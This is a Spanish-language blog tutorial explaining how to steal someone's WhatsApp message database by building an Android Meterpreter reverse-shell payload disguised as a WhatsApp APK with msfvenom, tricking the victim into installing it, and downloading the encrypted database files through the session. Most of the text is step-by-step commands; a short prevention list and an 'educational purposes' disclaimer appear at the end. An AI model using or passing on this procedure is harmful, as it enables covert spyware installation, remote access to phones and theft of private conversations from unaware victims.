[Android] Cómo Hackear un WhatsApp a una persona (Obtener base de datos de mensajes) con Kali Linux.

Puedes descargar esta guía completa para verla sin conexión en cualquiera de tus dispositivos compatibles con Microsoft Word desde aquí: http://ouo.io/w6sK5

WhatsApp una aplicación de mensajería donde podemos interactuar con seres queridos y no tan queridos enviando y recibiendo mensajes. fotos, vídeos etc...

Las conversaciones que tenemos día a día con personas por medio de esta aplicación de mensajería además de verse dentro de la misma aplicación, quedan guardadas en archivos encriptados dentro del teléfono, en una carpeta predeterminada por WhatsApp.

Si por curiosidad queremos obtener la base de datos encriptada de WhatsApp para ver nuestras conversaciones en la PC personal, entonces nosotros podríamos acceder directamente a ella navegando en nuestro celular hasta la ruta en que se encuentra el archivo encriptado.

Sin embargo, algunas personas mal intencionadas pueden robar esa información de tu Smartphone sin que te des cuenta, si instalas alguna aplicación que conceda demasiados permisos.

A continuación mostraré un método para acceder remotamente a esa base de datos desde Kali Linux.

Empecemos! Con las fechorias.

PROCEDIMIENTO:

Primero antes que nada puedes descargar esta guía: http://ouo.io/EPokCW de mi post https://cuculmecakali.blogspot.com/2016/06/android-obtener-contactos-y-mensajes-de.html De esta forma verás de manera mas prolija como se crea el exploit (Muchas más imágenes y explicación de algunos parámetros que pondremos)

Primero en el Kali Linux abrimos una consola y ponemos:

msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.1.2 lport=7000 R > /root/Desktop/AplicacionWhatsapp.apk

En otros post mostraré como utilizar otros payloads, no sólamente con meterpreter.

Para saber qué poner en lhost deberás abrir otra terminal y ubicar:

ifconfig

Lo subimos a un servidor:

En mi caso lo subo a Mega.nz

Ahora, en la misma terminal abrimos una consola Metasploit con:

msfconsole



Pondremos:

use exploit/multi/handler

Ubicamos los parámetros del exploit que habíamos creado anteriormente.

set PAYLOAD android/meterpreter/reverse_tcp

set lhost 192.168.1.2

set lport 7000

Además después de eso poner show options para observar que los parámetros están bien escritos y si nos falta algo mas.

Abrimos la escucha del Handler con:

exploit

Esperamos que la víctima instale y abra la aplicación (Para eso tendrán que convencerla que la instale y ejecute), cuando eso suceda entonces se abrirá una sesión Meterpreter.

Ahora van a ubicar:

cd /

Omitan lo que dice "Exploit" arriba, fue un error de parte mía.

Luego de ubicar cd /, van a poner:

ls

ls lo que hace es listar todo lo que esté contenido en la carpeta actual, entonces al ubicar ls, nos mostrará lo que esté en la raiz del sistema de Android (Carpeta que accedimos con cd /). Serán muchísimas carpetas.

Nos meteremos en la Sdcard, y luego listaremos lo que está dentro, con:

cd sdcard

ls

Obtendremos una cantidad enorme de archivos y carpetas, ahora nos interesa la carpeta de WhatsApp y listar lo que está dentro, por tanto utilizaremos.

cd Whatsapp

ls

OJO que hay que respetar siempre mayúsculas y minúsculas.

Obtendremos las carpetas dentro de WhatsApp, como se ve en WhatsApp hay una carpeta llamada "Databases", esa es la que contiene los archivos encriptados de los mensajes, por tanto accederemos a él y listaremos su contenido.

cd Databases

ls

Dentro estarán unos archivos encriptados por Whatsapp, en este caso están en crypt10, en el dispositivo que estén tratando puede variar.

Lo que necesitamos es descargar esa base de datos a nuestro Kali Linux, por eso utilizaremos.

download "AQUI ESTARÁ EL NOMBRE DEL ARCHIVO QUE DESCARGAREMOS"

Como se ve en la Imagen:

Entonces ahí tendremos la base de datos de WhatsApp de una persona.

Esas bases de datos estarán en la Carpeta Home de Kali Linux.

En un próximo post veremos como desencriptar esa base de datos, es decir la Crypt 10, (Aunque puede ser desde la Crypt 5 hasta la Crypt 12)

TERMINADO!

¿Cómo evitar estos ataques?

* No descargar aplicaciones dudosas.

* No instalar aplicaciones de sitios de dudosa reputación.

* Leer atentamente los permisos que se le dan a las aplicaciones.

* Tener un buen suit de protección de Android (Firewalls, Antivirus etc...)

* Tener WhatsApp actualizado, las nuevas actualizaciones brindan mayor seguridad a la base de datos, por lo tanto a los hackers se les hace más difícil su desencriptación.

IMPORTANTE!

* Todo lo anteriormente hecho se a realizado bajo un régimen cuidadosamente diseñado, se a atacado a mi smartphone y nadie a sido víctima del ataque, además de haberse realizado dentro de la Red LAN.

* Todos los conocimientos, técnicas, métodos y herramientas brindadas en este post son con fines educativos e informativos, por lo tanto no me hago responsable de la mala utilización de estas técnicas, cometer un delito es muy grave, por favor evítalo.

* Las imágenes han sido de elaboración propia.

- Cuculmeca